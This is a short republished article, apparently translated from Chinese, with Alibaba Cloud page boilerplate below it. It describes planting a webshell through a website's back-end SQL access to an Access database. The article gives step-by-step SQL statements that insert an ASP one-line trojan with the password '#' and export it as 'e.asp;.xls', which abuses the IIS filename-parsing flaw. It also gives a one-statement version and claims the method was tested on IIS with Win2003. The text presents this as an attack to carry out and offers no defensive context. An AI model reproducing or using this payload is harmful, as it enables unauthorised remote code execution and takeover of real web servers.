The access library uses the background SQL to execute and export webshell

Source: Internet
Author: User

Where a website can execute SQL statements in the background, the physical path of the website is also obtained. I used to see the method of using access to export shell on the Internet. The principle is similar to the outfile of the php website.

First, write a sentence to the database, and then write the statement to the file.

Here you need to export the data table content to an EXCEL file, because the ACCESS database does not allow export of other dangerous formats. After exporting the file to EXCEL, we can use the IIS resolution vulnerability to connect it to the client.

Perform the following operations:

(1) create table a (B varchar (50 ))

Create a table with a B field named a. The field type is character and the length is 50.

(2) insert into a (B) values (<% execute request (chr (35) %>)

Insert a Trojan with the password # in field B of Table.

(3) select * into [B] in d: ......e.asp;.xls excel 4.0; from

Export the content of Table a as e. asp; xlsdrop

 

In fact, the above three statements can be implemented in one sentence:

SELECT <% execute request (chr (35) %> into [user] in d: .....e.asp;.xls excel 8.0; from [user]

I have tested the above methods locally. This can be implemented, and the client can be connected and executed in one sentence (IIS + win2003 ).

Of course, due to restrictions on server permissions, the actual operation may fail.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.